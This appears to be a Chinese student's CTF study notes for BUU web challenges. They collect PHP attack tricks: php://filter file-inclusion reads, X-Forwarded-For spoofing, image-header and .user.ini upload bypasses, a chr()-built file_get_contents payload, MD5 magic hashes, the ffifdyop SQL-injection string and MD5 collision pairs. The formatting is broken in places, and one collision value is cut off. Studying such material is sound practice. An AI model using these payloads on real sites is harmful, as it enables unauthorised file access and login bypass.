BUU 2-29
文件包含:伪协议
例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来。
1 | ?file=php://filter/read=convert.base64-encode/resource=index.php |
数据包有关参数的欺骗
本地访问:修改添加 Client-ip: 127.0.0.1
X-Forwarded-For
X-Forwarded-For(XFF)是用来识别通过 HTTP 代理或负载均衡方式连接到 Web 服务器的客户端最原始的 IP 地址的 HTTP 请求头字段。
X-Forwarded-For 127.0.0.1 或 localhost
文件上传🐎
GIF89a
伪装图片头绕过后端检测- .user.ini 包含图片执行.条件(同目录下要有index.php) 格式:
auto_prepend_file = 1.jpg
网站目录文件fuzz && php备份文件
- 利用BPfuzz目录,添加字典
- 常见的php备份文件:*.php.bak or *.php.常见的备份文件后缀名有:
“.git”
、".svn"
、“ .swp”
“.~”
、“.bak”
、“.bash_history”
、“.bkf”
- 随时记录新出现的名字到字典,方便后续~
PHP字符串解析特性 ($_GET/ $_POST参数绕过)BUU-EZcalc -1
-
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
-
删除空白符
-
将某些字符转换为下划线(包括空格)例如:
本题num参数输入非数字就被ban.因此利用字符串解析特性绕过第一个waf.
1
calc.php? num=print_r(scandir(chr(47)));
这样同时绕过两个waf.[print_函数(此处也可用var_dump,var_export等)](PHP print_r() 函数 | 菜鸟教程 (runoob.com))
'
就用chr()绕过,chr(47)就是斜杠/这里的47是ASCII码,因此可以拼接出任意我们想要的命令
这里我们需要: file_get_contents(
''/flagg'
)也即:file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
PHP MD5绕过
-
题目[BJDCTF2020]Easy MD5
-
首先第一点是没有思路的时候把源码看一下,发包后的数据包看下~总会有提示的!!!
-
ffifdyop 这个字符串md5加密后得到
276f722736c95d99e921722cf9ed621c
,这里的md5($pass,true)第二个参数表示的是16位2进制编码,经过mysql语句解析后的字符串是:
'or’6后面接乱码
-
= =
的绕过PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0 -
在md5加密后以0E开头
- QNKCDZO
- 240610708
- 0e215962017 md5后和本身相等.弱比较绕过
-
-
s878926199a
- s155964671a- 以下串在sha1加密后以0E开头,并且后面均为纯数字
-
aaroZmOk
- aaK1STfY-
= = =
的绕过-
直接传入数组即可(
简单粗暴) -
MD5碰撞;一下三个值md5加密后相等
1
2
3
4
5
6
7
8
9
10#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
#3
$a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
-
-
注意post还是get传值方式(⊙o⊙)
Flask框架漏洞
后面还得去学会flask
ok~
-